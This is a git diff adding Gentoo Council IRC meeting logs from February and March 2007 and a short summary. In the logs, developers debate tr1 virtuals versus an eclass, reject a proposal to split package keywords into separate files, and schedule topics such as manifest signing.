+Feb 08 13:08:34 spb	Flameeyes: i gave it above
+Feb 08 13:08:35 kingtaco|work	Flameeyes, also, if a pkg deps on virtual/tr1-foo then where is the collision?
+Feb 08 13:08:44 Flameeyes	I would just assess the number of required packages to be changed before
+Feb 08 13:08:49 Flameeyes	kingtaco|work, binpkg generation
+Feb 08 13:08:50 kingtaco|work	I'm not aware of this bug
+Feb 08 13:08:53 kingtaco|work	ah
+Feb 08 13:09:19 Flameeyes	spb, where? I don't see any number in my backlog?
+Feb 08 13:09:28 spb	Flameeyes: expected effort
+Feb 08 13:09:41 spb	the justification is probabilistic
+Feb 08 13:10:01 Flameeyes	I don't really buy it myself, personal though
+Feb 08 13:10:48 wolf31o2|mobile	how about we let democracy take over and just vote it out?
+Feb 08 13:11:03 spb	i don't see a better option than virtuals
+Feb 08 13:11:03 wolf31o2|mobile	(this meeting is kinda dragging on time-wise)
+Feb 08 13:11:03 Flameeyes	note: you won't make me change idea repeating the same reasoning, like I'm not considering changing your ideas repeating my opinion
+Feb 08 13:11:05 kingtaco|work	I think a TR1_USES="memory pointer"; inherit tr1 would be better than virtuals
+Feb 08 13:11:16 Flameeyes	I said what I thought, and then we can vote
+Feb 08 13:11:24 kingtaco|work	wolf31o2|mobile, da, I'll get there shortly
+Feb 08 13:11:29 kingtaco|work	ok
+Feb 08 13:11:32 spb	kingtaco|work: then you've turned a set of virtuals into a great big select-case statement
+Feb 08 13:11:35 Flameeyes	kingtaco|work, uhm, there's a problem with useflags though
+Feb 08 13:11:51 kingtaco|work	Flameeyes, ?
+Feb 08 13:11:56 kingtaco|work	pick a different env var
+Feb 08 13:12:07 kingtaco|work	or is there something else?
+Feb 08 13:12:14 spb	kingtaco|work: what happens if a package only needs tr1::regex if a given useflag is set?
+Feb 08 13:12:16 Flameeyes	kingtaco|work, I mean, if it needs memory or pointer _only_ if an useflag is enabled or disabled
+Feb 08 13:12:25 Flameeyes	how would you handle that with variables before inherit?
+Feb 08 13:12:31 kingtaco|work	spb, Flameeyes I get ya
+Feb 08 13:12:36 Flameeyes	Maybe a bit better would be having inherit tr1
+Feb 08 13:12:45 Flameeyes	and then set foo? ( ${TR1_MEMORY_DEPS} )
+Feb 08 13:12:57 kingtaco|work	ohh, that looks promising
+Feb 08 13:13:02 kingtaco|work	spb, thoughts?
+Feb 08 13:13:06 spb	except that that's what virtuals were designed to do
+Feb 08 13:13:13 spb	you've just reimplemented the same thing in a different place
+Feb 08 13:13:27 kingtaco|work	with more control and less bugs
+Feb 08 13:13:31 Flameeyes	spb, yes, that's what I said before too anyway, reimplementing through || () the same thing
+Feb 08 13:13:32 spb	not really
+Feb 08 13:13:38 Flameeyes	kingtaco|work, it has one problem anyway
+Feb 08 13:13:54 spb	i don't see how it gives any more control
+Feb 08 13:14:03 Flameeyes	_if_ the packages using tr1 will actually increase, it would become way less performant than new-style virtuals
+Feb 08 13:14:25 spb	that is a point
+Feb 08 13:14:35 spb	changing the eclass invalidates cache for everything using it
+Feb 08 13:14:41 spb	changing a virtual invalidates one cache entry
+Feb 08 13:14:46 kingtaco|work	ok, I guess we vote
+Feb 08 13:14:50 wolf31o2|mobile	I dislike the eclass idea for one simple reason, we have to leave that crap in the tree forever
+Feb 08 13:14:51 Flameeyes	that's why I think we should first get some figures at least on the current tree and maybe maintainer-wanted
+Feb 08 13:14:57 spb	plus what wolf31o2|mobile said
+Feb 08 13:15:12 spb	ok, Flameeyes votes to do nothing for now and look at numbers
+Feb 08 13:15:28 Flameeyes	no.
+Feb 08 13:15:33 Flameeyes	I vote to get the figures, and then decide
+Feb 08 13:15:39 kingtaco|work	we have 3 possible solutions: 1) each ebuild does it all on it's own 2) a dozen virtuals 3) a eclass
+Feb 08 13:15:41 spb	hence do nothing for now
+Feb 08 13:15:51 kingtaco|work	or bump it to next month
+Feb 08 13:15:57 spb	2
+Feb 08 13:16:12 kloeri	my vote is on 2
+Feb 08 13:16:17 kingtaco|work	I wouldn't mind bumping it to next month, seems we have more to discuss
+Feb 08 13:16:40 wolf31o2|mobile	I'm voting 2... we can always remove virtuals easy enough later, where eclasses we can't
+Feb 08 13:16:53 Flameeyes	spb, semantically different, "doing nothing" would also mean not getting the figures
+Feb 08 13:16:57 vapier	i vote 2 and vote spb do the work
+Feb 08 13:16:58 kloeri	wolf31o2|mobile: agreed
+Feb 08 13:17:02 *	hparker has quit (Remote closed the connection)
+Feb 08 13:18:02 kingtaco|work	gah, the eclass is so much more powerful, but the problems around the eclasses in general makes it not attractive
+Feb 08 13:18:29 wolf31o2|mobile	right
+Feb 08 13:18:53 Flameeyes	indeed
+Feb 08 13:19:13 kingtaco|work	I reluctantly choose #2, but I think we should see if we can make eclasses suck less(maybe part of wolfs idea on small projects)
+Feb 08 13:19:56 wolf31o2|mobile	speaking of... we didn't really get a lot of ideas for that... I'll have to query again and try to keep track of everything... seems things kinda got off-track on that
+Feb 08 13:20:22 kingtaco|work	Flameeyes, wanna vote?
+Feb 08 13:20:29 Flameeyes	kingtaco|work, I did my vote already
+Feb 08 13:20:57 Flameeyes	wolf31o2|mobile, maybe you could use bugs.g.o to track the stuff, now that it is usable :)
+Feb 08 13:21:16 kingtaco|work	ok, as I understand it Flameeyes wants to bump to next month so we can do more research
+Feb 08 13:21:23 kingtaco|work	everyone vote yes/no please
+Feb 08 13:21:32 spb	yes/no on bumping it?
+Feb 08 13:21:35 kingtaco|work	da
+Feb 08 13:21:38 wolf31o2|mobile	heh... yeah, that's possible... first, I think we need a good idea on what we should be doing
+Feb 08 13:21:45 wolf31o2|mobile	ok
+Feb 08 13:21:46 wolf31o2|mobile	no
+Feb 08 13:21:49 spb	no point
+Feb 08 13:22:08 kingtaco|work	kloeri, vapier ? (flameeyes I assume is "yes")
+Feb 08 13:22:12 kloeri	no need to defer it imo
+Feb 08 13:22:42 kloeri	if somebody comes up with a better solution we can always migrate to that instead of the virtuals
+Feb 08 13:22:47 vapier	like the one legged man says, bump it
+Feb 08 13:23:13 kingtaco|work	so 3 no, 2 yes
+Feb 08 13:23:24 kingtaco|work	(I've yet to vote)
+Feb 08 13:24:29 kingtaco|work	I'll vote bump too, but note that option #2 is likely to go into effect next month so that's the timeline
+Feb 08 13:24:40 Flameeyes	robbat2 is still missing
+Feb 08 13:24:45 kingtaco|work	we got a month to come up with something better
+Feb 08 13:24:50 kingtaco|work	yes, he's a slacker today
+Feb 08 13:25:04 Flameeyes	kingtaco|work, yeah nothing stops anyone into implementing it out of the tree and be ready to commit it
+Feb 08 13:25:21 kingtaco|work	we all kosher?
+Feb 08 13:25:25 wolf31o2|mobile	ok, I'll say we bump it, too so we don't end up deadlocked
+Feb 08 13:25:25 wolf31o2|mobile	heh
+Feb 08 13:25:29 wolf31o2|mobile	make it all official-like
+Feb 08 13:25:33 kingtaco|work	hehe
+Feb 08 13:25:42 *	spb shrugs
+Feb 08 13:26:12 kingtaco|work	spb, would you start planning the implementation of virtuals please
+Feb 08 13:26:13 kloeri	ok, so is Flameeyes going to come up with some numbers on packages using tr1?
+Feb 08 13:26:18 spb	kingtaco|work: nothing much to plan
+Feb 08 13:26:34 spb	it's all ready to be implemented
+Feb 08 13:26:44 Flameeyes	kloeri, I would have no idea how to extract those numbers, as I don't know what tr1 consists of
+Feb 08 13:26:55 spb	Flameeyes: anything in the std::tr1 namespace
+Feb 08 13:27:03 kingtaco|work	spb, aight, can you post the list of virtuals and the lists of the packages that use them?
+Feb 08 13:27:05 Flameeyes	spb, just that?
+Feb 08 13:27:07 spb	anything using boost::shared_ptr
+Feb 08 13:27:15 kingtaco|work	or flameeyes
+Feb 08 13:27:23 kingtaco|work	if we're going to bump we should make use of it
+Feb 08 13:27:26 spb	anything using hashed containers in C++
+Feb 08 13:27:40 Flameeyes	although, there's no point in doing the redudant job, whoever is going to try changing to virtuals will also provide the numbers by indirection
+Feb 08 13:27:45 kingtaco|work	spb, but how without looking at every source file can we tell what is using it?
+Feb 08 13:28:09 kingtaco|work	I think tha'ts what flameeyes is hinting at
+Feb 08 13:28:15 spb	kingtaco|work: by looking at upstream's stated deps
+Feb 08 13:28:21 kingtaco|work	for every package?
+Feb 08 13:28:37 kingtaco|work	we can't just grep for boost?
+Feb 08 13:28:46 spb	same way as you'd figure out who's using python-2.4 features
+Feb 08 13:29:03 kingtaco|work	for that I'd look at the deps in the ebuild
+Feb 08 13:29:05 kloeri	tr1 isn't any different from other deps in that regard
+Feb 08 13:29:06 kingtaco|work	scriptable
+Feb 08 13:29:14 kingtaco|work	ok, lemme rephrase
+Feb 08 13:29:16 kloeri	you have to look at every single package to determine the deps
+Feb 08 13:29:28 kingtaco|work	what should we search for in the ebuild to determine if it's using some tr1 stuff?
+Feb 08 13:30:32 kingtaco|pda	boost? gcc4?
+Feb 08 13:30:44 kloeri	you can grep for std::tr1 and friends but it source might not always use the std:: qualifier
+Feb 08 13:30:45 spb	the most likely indicator is a dep on || ( gcc-4.1 boost )
+Feb 08 13:31:00 kingtaco|pda	ok
+Feb 08 13:31:25 kingtaco|pda	who's doing that list?
+Feb 08 13:31:43 spb	the list of packages doing it right at this moment is fairly meaningless
+Feb 08 13:32:09 kingtaco|pda	not to some of us
+Feb 08 13:32:27 kingtaco|pda	hence the bump
+Feb 08 13:32:33 spb	someone to whom it has meaning can find the list then
+Feb 08 13:32:49 spb	as far as i'm concerned it's sensible future proofing as much as anything else
+Feb 08 13:33:11 spb	especially since i know that at least one package will continue to use more tr1 features as they become available
+Feb 08 13:33:47 kingtaco|work	sure
+Feb 08 13:33:50 kingtaco|work	we all know this
+Feb 08 13:33:54 kingtaco|work	it's no secret
+Feb 08 13:34:58 kingtaco|work	however, a dozen virtuals for only paludis makes no sense.  if we're going to do all the virtuals, it needs to be for all the packages that use tr1
+Feb 08 13:35:09 spb	right
+Feb 08 13:35:11 kingtaco|work	this is not perl
+Feb 08 13:35:21 kingtaco|work	no 17 ways to do one thing :)
+Feb 08 13:35:30 spb	so implement the virtuals and then as packages are seen to need them they get made to use them
+Feb 08 13:36:01 kingtaco|work	right, and what people want to know is what currently will take advantage of it
+Feb 08 13:36:33 *	g2boojum dashes; Thanks for the discussion, all.
+Feb 08 13:36:59 kingtaco|work	not future intent
+Feb 08 13:37:28 spb	so what you're saying is that there's no point implementing something that will be used in the future if it's not going to be used at the time it's written?
+Feb 08 13:37:33 kingtaco|work	so someone raise their hand to figure it out
+Feb 08 13:37:38 kingtaco|work	I'm not saying that at all
+Feb 08 13:37:44 spb	looks that way
+Feb 08 13:37:50 kingtaco|work	gah
+Feb 08 13:39:22 spb	if it does turn out to be just two or three packages that need it then it'll only be one virtual we need
+Feb 08 13:39:30 spb	which makes it little different from any of the other virtuals in tree
+Feb 08 13:39:30 kingtaco|work	one last time, some people want to know what would currently take advantage of said virtuals
+Feb 08 13:39:45 kingtaco|work	SOMEONE needs to provide a list
+Feb 08 13:39:58 kingtaco|work	who is going to do it?
+Feb 08 13:40:28 spb	http://www.google.com/codesearch?hl=en&q=+std::tr1+-gcc+-boost&sa=N is a start
+Feb 08 13:40:58 Flameeyes	I would just look at the changes needed to implement virtuals, so if spb is going to show a patch to the tree with the changes needed (or even a cvs up list, if he's not going to blatantly cheat), those numbers suffice to me
+Feb 08 13:41:00 kingtaco|work	ebuilds in the tree
+Feb 08 13:41:26 kingtaco|work	cat/pkg one per line plain ASCII
+Feb 08 13:42:08 kingtaco|work	anyway, this shit takes too much time, someone do it in the next 2 weeks, the topic will come up for vote next month
+Feb 08 13:42:22 kingtaco|work	anyone else have any other topic before open floor?
+Feb 08 13:42:30 Flameeyes	nothing here
+Feb 08 13:42:37 wolf31o2|mobile	I have initial reply-to docs, but I need to fix them
+Feb 08 13:43:06 *	avenj (n=avenj@gentoo/developer/avenj) has left #gentoo-council
+Feb 08 13:43:13 kloeri	should we discuss the maintainer timeout thingy that drizzt and betelgeuse both suggested or is everybody happy with relying on common sense?
+Feb 08 13:43:23 kingtaco|work	I prefer common sense
+Feb 08 13:43:27 Flameeyes	common sense goes well for me
+Feb 08 13:43:33 spb	common sense
+Feb 08 13:43:35 Flameeyes	we discussed that on -core not many months ago too
+Feb 08 13:43:57 kloeri	I have spf docs at http://dev.gentoo.org/~kloeri/spf.txt that needs to be guidexml'ified and possibly fixed/expanded upon
+Feb 08 13:44:03 spb	tree devs have access to the whole tree for a reason
+Feb 08 13:44:10 *	kloeri prefers common sense as well
+Feb 08 13:44:12 wolf31o2|mobile	common sense
+Feb 08 13:44:26 kingtaco|work	I'm sure vapier goes along with common sense
+Feb 08 13:44:33 *	Flameeyes sets modes [#gentoo-council -vv Betelgeuse solar]
+Feb 08 13:44:38 *	Flameeyes sets modes [#gentoo-council -v jeeves]
+Feb 08 13:44:43 kloeri	nod
+Feb 08 13:44:46 kingtaco|work	anything else?
+Feb 08 13:44:50 *	Flameeyes sets modes [#gentoo-council -v g2boojum]
+Feb 08 13:44:57 kloeri	nothing from me
+Feb 08 13:45:16 kingtaco|work	ok, open floor time
+Feb 08 13:45:19 *	kingtaco|work sets modes [#gentoo-council -m]
+Feb 08 13:45:46 spb	http://www.google.com/codesearch?hl=en&lr=&q=boost%3A%3Ashared_ptr+gentoo.osuosl.org&btnG=Search <== sources in our distfiles mirrors using shared_ptr
+Feb 08 13:46:00 vapier	nothing from wolf31o2 about reply-to ?
+Feb 08 13:46:06 vapier	err nm i see that comment
+Feb 08 13:46:12 kingtaco|work	vapier, he said he's got a doc (mostly) ready
+Feb 08 13:46:18 *	Flameeyes hands glasses to vapier
+Feb 08 13:46:19 vapier	"council managed projects" ?
+Feb 08 13:46:27 wolf31o2|mobile	http://dev.gentoo.org/~wolf31o2/reply-to.xml
+Feb 08 13:46:41 kingtaco|work	vapier, my suggestion to that is a group of people to fix up eclass suckage
+Feb 08 13:46:58 wolf31o2|mobile	I spoke about that... I didn't really get anything that stood out... so I'm going to pose the question again and tally up the responses, then have us vote on one of them next time around
+Feb 08 13:47:05 vapier	k
+Feb 08 13:47:18 kingtaco|work	maybe define a "persistant" eclass spec, where the eclass would stay in the cache from compile time
+Feb 08 13:47:41 agaffney	are you people still going?
+Feb 08 13:47:44 kingtaco|work	so we can remove them from the tree
+Feb 08 13:47:48 *	agaffney looks at the clock
+Feb 08 13:47:49 kingtaco|work	agaffney, open floor atm
+Feb 08 13:47:52 agaffney	ah
+Feb 08 13:48:00 agaffney	I missed the meeting...anything "interesting"?
+Feb 08 13:48:08 vapier	no
+Feb 08 13:48:13 kingtaco|work	not really, a bunch on tr1
+Feb 08 13:48:28 agaffney	yeah, I completely ignored that thread on -dev, so I have no idea what that even is :P
+Feb 08 13:48:28 kingtaco|work	if noone does the logs I'll send them out when I get home
+Feb 08 13:48:35 kingtaco|work	>>>>> OPEN FLOOR
+Feb 08 13:48:53 agaffney	>>>>> VAPIER'S MOM
+Feb 08 13:49:00 Jokey	another idea that came up more often recently. keywording involves touching the ebuild and thus results in refetch of the whole ebuild just for a change of 1-5 chars.. Proposal: signed separate keywords file per package, syntax like with package.keywords
+Feb 08 13:49:09 vapier	someone forgot to commit the logs for 20070111
+Feb 08 13:49:23 Flameeyes	Jokey, rsync should handle the changes
+Feb 08 13:49:25 kingtaco|work	vapier, iirc that was robbat2, I'll try to get him on it
+Feb 08 13:49:45 Jokey	Flameeyes: not talking about who handles it but the amount of useless traffic for it
+Feb 08 13:49:48 kingtaco|work	Flameeyes, rsync works with blocks, I question if most ebuilds are larger than one block
+Feb 08 13:50:09 vapier	err no, links in index.xml are bokren
+Feb 08 13:50:11 vapier	i'll fix em
+Feb 08 13:50:13 Jokey	Flameeyes: think of a kde stable keywording... how many ebuilds you refetch...
+Feb 08 13:50:17 spb	separating keywords is far more effort than it's worth
+Feb 08 13:50:31 Jokey	Flameeyes: and how often as we have more than one arch
+Feb 08 13:50:31 spb	and i would question whether it's sensible at all
+Feb 08 13:50:55 kingtaco|work	Jokey, the other side to that is it's another block rsync has to fetch
+Feb 08 13:51:02 Flameeyes	Jokey, I mean that in theory it should refetch just the part that changed... of course as kingtaco|work said, it might be that it actually refetch all of it anyway
+Feb 08 13:51:21 kingtaco|work	plus it takes more FS space
+Feb 08 13:51:28 kingtaco|work	for most of the users anyway
+Feb 08 13:51:54 Jokey	KingTaco: won't take more space
+Feb 08 13:52:02 spb	it takes more FS space, you have to transfer the entire keywords file when it changes anyway, the transition would be completely horrible, it makes the package manager's job far harder, ....
+Feb 08 13:52:14 spb	Jokey: "block size"
+Feb 08 13:52:23 kingtaco|work	Jokey, how so?  not all of us use reiser with tail packing
+Feb 08 13:52:25 spb	more files == more inodes and more space
+Feb 08 13:52:27 kingtaco|work	I use ext3
+Feb 08 13:52:27 kloeri	you also have additional problems with keeping the keyword file in sync with the ebuilds
+Feb 08 13:52:36 Flameeyes	what kloeri said
+Feb 08 13:52:51 *	Jokey also notes that we have --whole-file in default portage sync options
+Feb 08 13:53:13 Flameeyes	right now you are sure that if you change a package and someone changed the keywords in the mean time you get a collision
+Feb 08 13:53:38 Flameeyes	if you got keywords and ebuilds split, you cannot guarantee that if you try to change the dependencies, the keywords are fixed
+Feb 08 13:54:33 kingtaco|pda	would require atomic commits
+Feb 08 13:54:59 kingtaco|pda	which cvs doesnt directly do
+Feb 08 13:55:04 Flameeyes	kingtaco|pda, no, won't help
+Feb 08 13:55:34 Flameeyes	atomic commits would help only if you had the keywording file beside the ebuilds
+Feb 08 13:55:42 Flameeyes	which would mean having to add _a lot_ of extra files
+Feb 08 13:55:54 kingtaco|pda	da
+Feb 08 13:55:59 Jokey	11063 atm
+Feb 08 13:55:59 Flameeyes	[okay, less files than the current digests, but still a lot]
+Feb 08 13:56:15 Flameeyes	Jokey, that's at least 11MB then
+Feb 08 13:56:25 Jokey	considering that we are at 145k files already < 10%
+Feb 08 13:56:35 Flameeyes	I would still like to avoid it
+Feb 08 13:56:40 Flameeyes	would probably be slower on rsync anyway
+Feb 08 13:56:51 Flameeyes	as it would still need to resync the keywording file every time
+Feb 08 13:57:05 kloeri	I don't see the benefits at all and I think there's several cons to that idea
+Feb 08 13:57:07 kingtaco|work	jokey, I guess none of us see the advantage
+Feb 08 13:57:08 *	|mpagano| (n=kvirc@pool-70-105-167-163.nwrknj.fios.verizon.net) has joined #gentoo-council
+Feb 08 13:57:09 Flameeyes	and rarely there are more than one ebuild changed per package during keywording
+Feb 08 13:57:15 kingtaco|work	we'd swap transferring one file for another
+Feb 08 13:57:25 Jokey	kingtaco|pda: seems so, have to live with it then
+Feb 08 13:57:31 kingtaco|work	and add a whole other bunch of headaches
+Feb 08 13:57:32 kloeri	a huge amount of additional files, risk of desynchronisation being the primary ones I guess
+Feb 08 13:57:35 Jokey	KingTaco: you have too many aliases in here ;)
+Feb 08 13:57:37 spb	ok, so everyone agrees it's a stupid idea?
+Feb 08 13:57:40 kingtaco|work	but if there are advantages, please say them
+Feb 08 13:57:58 kingtaco|work	we're not mind readers
+Feb 08 13:58:06 Jokey	kingtaco|pda: a) transfer b) easier to "overlay" ebuilds for keywording on alt projects
+Feb 08 13:58:19 kingtaco|work	transfer?
+Feb 08 13:58:25 Flameeyes	I can't see any advantage in transfer
+Feb 08 13:58:26 Jokey	file size
+Feb 08 13:58:26 kingtaco|work	you're swapping one file for another
+Feb 08 13:58:32 Flameeyes	you just change the file to tranfer
+Feb 08 13:58:36 kingtaco|work	a packet is a packet
+Feb 08 13:58:40 Jokey	err no
+Feb 08 13:58:43 Flameeyes	Jokey, and file number to sync
+Feb 08 13:58:50 Jokey	I transfer one file for 3 keyworded ebuilds
+Feb 08 13:58:56 Jokey	(openldap)
+Feb 08 13:59:02 kingtaco|work	so you want one file per pkg
+Feb 08 13:59:07 kingtaco|work	for all the keywords
+Feb 08 13:59:12 Flameeyes	Jokey, how often would you keyword more than one ebuild for package?
+Feb 08 13:59:12 Jokey	being one file with about 2k instead of 3 files each 14k
+Feb 08 13:59:15 spb	and when you roll out the change you have to transfer every ebuild and a keywords file for every package
+Feb 08 13:59:18 kingtaco|work	all versions of that ebuild in one file
+Feb 08 13:59:22 spb	which more than outweighs the saving you'll make
+Feb 08 13:59:25 Jokey	Flameeyes: all slotted packages come to mind
+Feb 08 13:59:32 Flameeyes	Jokey, how many there are?
+Feb 08 13:59:46 kloeri	adding new versions and cleaning out old versions would be a lot more painful that way
+Feb 08 13:59:48 Jokey	kde, gnome, ldap, mysql,.....
+Feb 08 13:59:50 Flameeyes	and that would only work if you keyword them _at the same time_
+Feb 08 14:00:03 ---	robbat2|na is now known as robbat2
+Feb 08 14:00:05 robbat2	argh
+Feb 08 14:00:05 Flameeyes	Jokey, you never keyword more than one kde slot per time
+Feb 08 14:00:06 Jokey	kloeri: if repoman helps on that one
+Feb 08 14:00:08 robbat2	overslept :-(
+Feb 08 14:00:20 kingtaco|work	robbat2, :(
+Feb 08 14:00:28 Flameeyes	robbat2, you didn't lose much
+Feb 08 14:00:32 kingtaco|work	robbat2, btw, you need to upload the last meeting minutes
+Feb 08 14:00:33 *	solar does not think you are a slacker
+Feb 08 14:00:42 *	mpagano has quit (Client Quit)
+Feb 08 14:01:08 Jokey	Flameeyes: would even more speak for it as you still only have to transfer the keyword file and not the ebuild and manifest over and over again
+Feb 08 14:01:16 robbat2	kingtaco|work, huh, the previous ones should be up? I emailed them as well
+Feb 08 14:01:23 Flameeyes	Jokey, you should transfer the manifest too
+Feb 08 14:01:27 kingtaco|work	robbat2, vapier pointed it out
+Feb 08 14:01:30 kloeri	Jokey: so now you need to cvs rm some ebuild and then run repoman fixmess before committing? :)
+Feb 08 14:01:32 Flameeyes	and no it speaks against it
+Feb 08 14:01:32 kingtaco|work	I haven't confirmed
+Feb 08 14:01:48 Jokey	kloeri: you need to do that currently anyway
+Feb 08 14:01:53 Jokey	for redigesting
+Feb 08 14:01:57 Jokey	so no difference
+Feb 08 14:02:01 vapier	robbat2: the link was broken, i fixed it
+Feb 08 14:02:02 Flameeyes	Jokey, repoman commit regenerates manifest, if you didn't know
+Feb 08 14:02:08 vapier	it had two 1's instead of three
+Feb 08 14:02:10 Jokey	Flameeyes: I know
+Feb 08 14:02:19 Flameeyes	then you shouldn't run repoman fix during removal of old ebuilds
+Feb 08 14:02:26 kloeri	no, keeping keywords and ebuilds in sync and managing digests is different problems
+Feb 08 14:03:01 *	kingtaco|pda has quit (Read error: 104 (Connection reset by peer))
+Feb 08 14:03:24 Jokey	well really, I personally don't care as of today I'm on 100 mbit natively at home... but sanchan f.ex is on 56k and he does care about every single byte to transfer as he has to pay for it
+Feb 08 14:04:17 Flameeyes	I think that adding more files is just making the situation worse, as we said you end up swapping one file sent to another
+Feb 08 14:04:39 Flameeyes	plus two files when you're adding a new ebuild
+Feb 08 14:04:40 kingtaco|work	not to sound crass, but I dont think adding this sort of complexity to maybe save a couple bytes is worth it
+Feb 08 14:04:52 Flameeyes	I'd consider more sensible to move toward Manifest2 asap
+Feb 08 14:04:58 kingtaco|work	indeed
+Feb 08 14:05:06 Flameeyes	[and I'm still committing]
+Feb 08 14:05:39 Flameeyes	or maybe someone should see what happens for who are under limited network environments to disable --whole-file
+Feb 08 14:05:40 Jokey	can't recall it atm, does manifest2 force gpg signed files?
+Feb 08 14:05:55 Flameeyes	Jokey, Manifest2 will remove the digest-* files
+Feb 08 14:05:58 kloeri	no
+Feb 08 14:06:19 kloeri	manifest signing and manifest 2 are separate issues
+Feb 08 14:06:29 kingtaco|work	ohh
+Feb 08 14:06:31 Jokey	does manifest signing have a glep?
+Feb 08 14:06:34 kingtaco|work	a topic for next month
+Feb 08 14:06:41 kloeri	not yet
+Feb 08 14:06:41 kingtaco|work	manifest signing
+Feb 08 14:06:49 Jokey	k'
+Feb 08 14:06:51 kloeri	robbat2 needs to finish his tree signing stuff
+Feb 08 14:06:52 robbat2	if I finish the stuff on it before then
+Feb 08 14:07:08 kingtaco|work	last I heard people didn't want to do it because of lack of gpg-agent
+Feb 08 14:07:13 kingtaco|work	but that's no longer the case
+Feb 08 14:07:27 kloeri	looked fairly good the stuff I saw a few weeks ago though
+Feb 08 14:07:27 Jokey	gpg-agent/keychain ++
+Feb 08 14:07:36 Flameeyes	fwiw, zmedico also told me how to increase the timeout of gpg-agent, making its use even more practical
+Feb 08 14:07:41 kingtaco|work	I'm using gpg-agent with my own "keychain"
+Feb 08 14:07:52 Flameeyes	[not that I wasn't using signing before too]
+Feb 08 14:08:15 kingtaco|work	ok, a topic for next month then
+Feb 08 14:08:20 kingtaco|work	anything else?
+Feb 08 14:08:57 kingtaco|work	speak now or wait 28 days ...
+Feb 08 14:09:01 Flameeyes	a second
+Feb 08 14:09:12 Flameeyes	I would like to get rid of the glep about the 4-tuple keywords
+Feb 08 14:09:23 Flameeyes	that's glep22
+Feb 08 14:09:29 Flameeyes	[had to look up the number]
+Feb 08 14:10:40 Flameeyes	last council asked for a new glep to obsolete it, but considering that it has been difficult to address this through a replacement glep (that glep was _never_ put in action as it is written), and that the current status of the tree is already good enough, it might be worth just retire that glep
+Feb 08 14:10:48 kingtaco|work	Flameeyes, I don't think anyone has implemented it
+Feb 08 14:10:54 kingtaco|work	but lets vote on it next month
+Feb 08 14:10:57 Flameeyes	agreed
+Feb 08 14:11:02 kloeri	that will have to wait for next month
+Feb 08 14:11:11 kloeri	we need a little time to consider it I guess
+Feb 08 14:11:13 Flameeyes	kloeri, yes, just saying that I want to bring up that topic :)
+Feb 08 14:11:21 Flameeyes	for next month, that is
+Feb 08 14:11:21 kloeri	nod
+Feb 08 14:11:23 kingtaco|work	ok
+Feb 08 14:11:26 kingtaco|work	anything else?
+Feb 08 14:11:29 kingtaco|work	3
+Feb 08 14:11:32 kingtaco|work	2
+Feb 08 14:11:35 kingtaco|work	1
+Feb 08 14:11:35 kloeri	we'll probably be happy to dump it though :)
+Feb 08 14:11:44 kingtaco|work	>>>>>END MEETING
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070308-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20070308-summary.txt
new file mode 100644
index 00000000..fda891b6
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070308-summary.txt
@@ -0,0 +1,31 @@
+- Flameeyes has retired from Gentoo so Uberlord was put into place in
+  accordance with the GLEP changes from last month.
+
+- The Package Manager Spec (PMS) posted by spb looks like a good first
+  draft.  It will be opened up to the public before next council meeting
+  and we'll review the status again at that time.
+
+- The current state of Gentoo's public communication was reviewed.  The
+  frequent fighting among people and irrelevant technical related public
+  posts are disheartening.  Devrel was charged with revamping our current
+  nettiquette documents and policies for getting people to play nice in the
+  cases where they refuse to and to report back the status next meeting.
+  Council members also agreed to lead by example by taking g2boojum's example.
+
+- We've expanded the Council GLEP slightly:
+ * Two Council members may (together) make executive decisions which carry the
+   weight of the full Council.  Upon making such a decision, the Gentoo Council
+   mailing list must be notified.  At the next meeting, it must also be noted.
+   Any disagreement from the Gentoo community will be taken to the full Gentoo
+   Council.
+
+- The tr1 issue will be resolved in the short term by new-style virtuals.  As
+  packages need them, they should create them.  Long term, when a sane tr1
+  implementation arises (most likely from GCC itself), the virtuals will be
+  reviewed and probably dissolved.
+
+- The topic of splitting the gentoo-dev mailing list up will be punted to the
+  next month's meeting.
+
+- Gentoo branded hardware was discussed and many ideas thrown about.  This also
+  touched on the concept of "Enterprise Gentoo".
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070308.txt b/xml/htdocs/proj/en/council/meeting-logs/20070308.txt
new file mode 100644
index 00000000..10d49b50
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070308.txt
@@ -0,0 +1,1044 @@
+Mar 08 14:59:39 * kingtaco|work sets mode +m #gentoo-council
+Mar 08 14:59:43 * think4urs11 (n=its-me@p5494F109.dip.t-dialin.net) has joined #gentoo-council
+Mar 08 14:59:45 <kingtaco|work> aight, might as well get started
+Mar 08 14:59:50 <kingtaco|work> rollcall
+Mar 08 15:00:05 <Kugelfang> gimem 2 mins please
+Mar 08 15:00:17 <kingtaco|work> I'm here
+Mar 08 15:00:25 <kingtaco|work> robbat2, kloeri wolf31o2|mobile
+Mar 08 15:00:30 <wolf31o2|mobile> present and somewhat here mentally... head cold is killing me
+Mar 08 15:00:31 <kloeri> yo
+Mar 08 15:00:54 <kingtaco|work> aight, so council topics
+Mar 08 15:01:23 <kingtaco|work> I listed on -dev the following: PMS, gentoo certified hardware and gentoo branded hardware
+Mar 08 15:01:23 <robbat2> yo
+Mar 08 15:01:43 <kingtaco|work> we also have appoint uberlord(which is first)
+Mar 08 15:01:52 <kingtaco|work> who else has topics?
+Mar 08 15:02:11 <wolf31o2|mobile> I do...
+Mar 08 15:02:16 <kingtaco|work> ok
+Mar 08 15:02:20 * Kugelfang back
+Mar 08 15:02:26 <wolf31o2|mobile> 2, actually...
+Mar 08 15:02:30 <kloeri> we probably need to discuss the mailinglist problems
+Mar 08 15:02:35 <wolf31o2|mobile> first, on request, the flames
+Mar 08 15:02:37 <wolf31o2|mobile> yup
+Mar 08 15:02:48 <wolf31o2|mobile> second, what power should the council have
+Mar 08 15:02:53 <kingtaco|work> ok
+Mar 08 15:02:55 <robbat2> wasn't there also discussion on the council-managed projects?
+Mar 08 15:03:09 <kingtaco|work> robbat2, my hardware stuff is council projects
+Mar 08 15:03:32 <robbat2> ok
+Mar 08 15:03:33 * welp[lap] has quit (Read error: 104 (Connection reset by peer))
+Mar 08 15:03:42 <kingtaco|work> anything else?
+Mar 08 15:03:47 <kingtaco|work> SpanKY, Kugelfang ?
+Mar 08 15:03:52 <Kugelfang> not  from me
+Mar 08 15:04:22 <kingtaco|work> aight, first item
+Mar 08 15:04:25 <kingtaco|work> uberlord
+Mar 08 15:04:28 <kingtaco|work> who isn't here
